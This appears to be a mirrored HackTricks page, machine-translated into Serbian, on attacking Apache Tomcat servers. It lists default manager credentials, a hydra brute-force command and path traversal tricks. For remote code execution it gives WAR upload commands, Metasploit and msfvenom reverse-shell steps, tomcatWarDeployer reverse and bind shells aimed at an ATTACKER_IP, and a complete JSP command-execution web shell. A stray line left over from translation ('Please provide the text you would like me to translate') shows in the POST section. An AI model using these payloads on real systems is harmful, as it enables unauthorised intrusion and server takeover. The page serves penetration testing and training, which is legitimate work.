mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
237 lines
8.9 KiB
Markdown
237 lines
8.9 KiB
Markdown
# Tomcat
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Otkriće
|
|
|
|
- Obično radi na **portu 8080**
|
|
- **Uobičajena Tomcat greška:**
|
|
|
|
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Enumeracija
|
|
|
|
### **Identifikacija verzije**
|
|
|
|
Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:
|
|
```bash
|
|
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|
```
|
|
Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u naslovnom tagu HTML odgovora.
|
|
|
|
### **Lokacija menadžerskih fajlova**
|
|
|
|
Identifikacija tačnih lokacija **`/manager`** i **`/host-manager`** direktorijuma je ključna jer njihova imena mogu biti izmenjena. Preporučuje se brute-force pretraga za lociranje ovih stranica.
|
|
|
|
### **Enumeracija korisničkih imena**
|
|
|
|
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:
|
|
```bash
|
|
msf> use auxiliary/scanner/http/tomcat_enum
|
|
```
|
|
### **Podrazumevajući Akreditivi**
|
|
|
|
Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava upload i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajeni akreditivi su:
|
|
|
|
- admin:admin
|
|
- tomcat:tomcat
|
|
- admin:
|
|
- admin:s3cr3t
|
|
- tomcat:s3cr3t
|
|
- admin:tomcat
|
|
|
|
Ovi akreditivi se mogu testirati koristeći:
|
|
```bash
|
|
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
|
```
|
|
Još jedan značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.
|
|
|
|
### **Brute Force Napad**
|
|
|
|
Da bi se pokušao brute force napad na direktorijum menadžera, može se koristiti:
|
|
```bash
|
|
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
|
```
|
|
Along with setting various parameters in Metasploit to target a specific host.
|
|
|
|
## Common Vulnerabilities
|
|
|
|
### **Password Backtrace Disclosure**
|
|
|
|
Pristup `/auth.jsp` može otkriti lozinku u backtrace-u pod srećnim okolnostima.
|
|
|
|
### **Double URL Encoding**
|
|
|
|
CVE-2007-1860 ranjivost u `mod_jk` omogućava dvostruko URL kodiranje putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreirane URL adrese.
|
|
|
|
Da biste pristupili upravljačkom web interfejsu Tomcat-a, idite na: `pathTomcat/%252E%252E/manager/html`
|
|
|
|
### /examples
|
|
|
|
Apache Tomcat verzije 4.x do 7.x uključuju primer skripti koje su podložne otkrivanju informacija i napadima skriptovanja između sajtova (XSS). Ove skripte, koje su sveobuhvatno navedene, treba proveriti na neovlašćen pristup i potencijalnu eksploataciju. Pronađite [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
|
|
|
- /examples/jsp/num/numguess.jsp
|
|
- /examples/jsp/dates/date.jsp
|
|
- /examples/jsp/snp/snoop.jsp
|
|
- /examples/jsp/error/error.html
|
|
- /examples/jsp/sessions/carts.html
|
|
- /examples/jsp/checkbox/check.html
|
|
- /examples/jsp/colors/colors.html
|
|
- /examples/jsp/cal/login.html
|
|
- /examples/jsp/include/include.jsp
|
|
- /examples/jsp/forward/forward.jsp
|
|
- /examples/jsp/plugin/plugin.jsp
|
|
- /examples/jsp/jsptoserv/jsptoservlet.jsp
|
|
- /examples/jsp/simpletag/foo.jsp
|
|
- /examples/jsp/mail/sendmail.jsp
|
|
- /examples/servlet/HelloWorldExample
|
|
- /examples/servlet/RequestInfoExample
|
|
- /examples/servlet/RequestHeaderExample
|
|
- /examples/servlet/RequestParamExample
|
|
- /examples/servlet/CookieExample
|
|
- /examples/servlet/JndiServlet
|
|
- /examples/servlet/SessionExample
|
|
- /tomcat-docs/appdev/sample/web/hello.jsp
|
|
|
|
### **Path Traversal Exploit**
|
|
|
|
U nekim [**ranjivim konfiguracijama Tomcat-a**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: `/..;/`
|
|
|
|
Dakle, na primer, možda ćete moći da **pristupite Tomcat menadžeru** stranici pristupom: `www.vulnerable.com/lalala/..;/manager/html`
|
|
|
|
**Drugi način** da zaobiđete zaštićene putanje koristeći ovu trik je pristupiti `http://www.vulnerable.com/;param=value/manager/html`
|
|
|
|
## RCE
|
|
|
|
Na kraju, ako imate pristup Tomcat Web Application Manager-u, možete **otpremiti i implementirati .war datoteku (izvršiti kod)**.
|
|
|
|
### Limitations
|
|
|
|
Možete implementirati WAR samo ako imate **dovoljna prava** (uloge: **admin**, **manager** i **manager-script**). Ti detalji se obično nalaze u _tomcat-users.xml_ definisanom u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (vidi [POST ](#post)section).
|
|
```bash
|
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
|
|
|
# deploy under "path" context path
|
|
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
|
|
|
# undeploy
|
|
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
|
```
|
|
### Metasploit
|
|
```bash
|
|
use exploit/multi/http/tomcat_mgr_upload
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|
```
|
|
### MSFVenom Reverse Shell
|
|
|
|
1. Kreirajte war za implementaciju:
|
|
```bash
|
|
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
|
|
```
|
|
2. Učitajte `revshell.war` datoteku i pristupite joj (`/revshell/`):
|
|
|
|
### Bind i reverse shell sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
|
|
|
U nekim scenarijima ovo ne funkcioniše (na primer, stare verzije sun)
|
|
|
|
#### Preuzmi
|
|
```bash
|
|
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
|
```
|
|
#### Obrnuta ljuska
|
|
```bash
|
|
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
|
```
|
|
#### Bind shell
|
|
```bash
|
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
|
```
|
|
### Korišćenje [Culsterd](https://github.com/hatRiot/clusterd)
|
|
```bash
|
|
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
|
```
|
|
### Ručna metoda - Web shell
|
|
|
|
Kreirajte **index.jsp** sa ovim [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
|
```java
|
|
<FORM METHOD=GET ACTION='index.jsp'>
|
|
<INPUT name='cmd' type=text>
|
|
<INPUT type=submit value='Run'>
|
|
</FORM>
|
|
<%@ page import="java.io.*" %>
|
|
<%
|
|
String cmd = request.getParameter("cmd");
|
|
String output = "";
|
|
if(cmd != null) {
|
|
String s = null;
|
|
try {
|
|
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
|
BufferedReader sI = new BufferedReader(new
|
|
InputStreamReader(p.getInputStream()));
|
|
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
|
} catch(IOException e) { e.printStackTrace(); }
|
|
}
|
|
%>
|
|
<pre><%=output %></pre>
|
|
```
|
|
|
|
```bash
|
|
mkdir webshell
|
|
cp index.jsp webshell
|
|
cd webshell
|
|
jar -cvf ../webshell.war *
|
|
webshell.war is created
|
|
# Upload it
|
|
```
|
|
Možete takođe instalirati ovo (omogućava upload, download i izvršavanje komandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
|
|
|
### Manual Method 2
|
|
|
|
Preuzmite JSP web shell kao što je [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku:
|
|
```bash
|
|
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
|
zip -r backup.war cmd.jsp
|
|
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
|
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
|
```
|
|
## POST
|
|
|
|
Ime datoteke sa Tomcat kredencijalima je `tomcat-users.xml` i ova datoteka označava ulogu korisnika unutar tomcat-a.
|
|
```bash
|
|
find / -name tomcat-users.xml 2>/dev/null
|
|
```
|
|
Please provide the text you would like me to translate.
|
|
```xml
|
|
[...]
|
|
<!--
|
|
By default, no user is included in the "manager-gui" role required
|
|
to operate the "/manager/html" web application. If you wish to use this app,
|
|
you must define such a user - the username and password are arbitrary.
|
|
|
|
Built-in Tomcat manager roles:
|
|
- manager-gui - allows access to the HTML GUI and the status pages
|
|
- manager-script - allows access to the HTTP API and the status pages
|
|
- manager-jmx - allows access to the JMX proxy and the status pages
|
|
- manager-status - allows access to the status pages only
|
|
-->
|
|
[...]
|
|
<role rolename="manager-gui" />
|
|
<user username="tomcat" password="tomcat" roles="manager-gui" />
|
|
<role rolename="admin-gui" />
|
|
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
|
|
```
|
|
## Ostali alati za skeniranje tomcat-a
|
|
|
|
- [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
|
|
|
## Reference
|
|
|
|
- [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
|
- [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|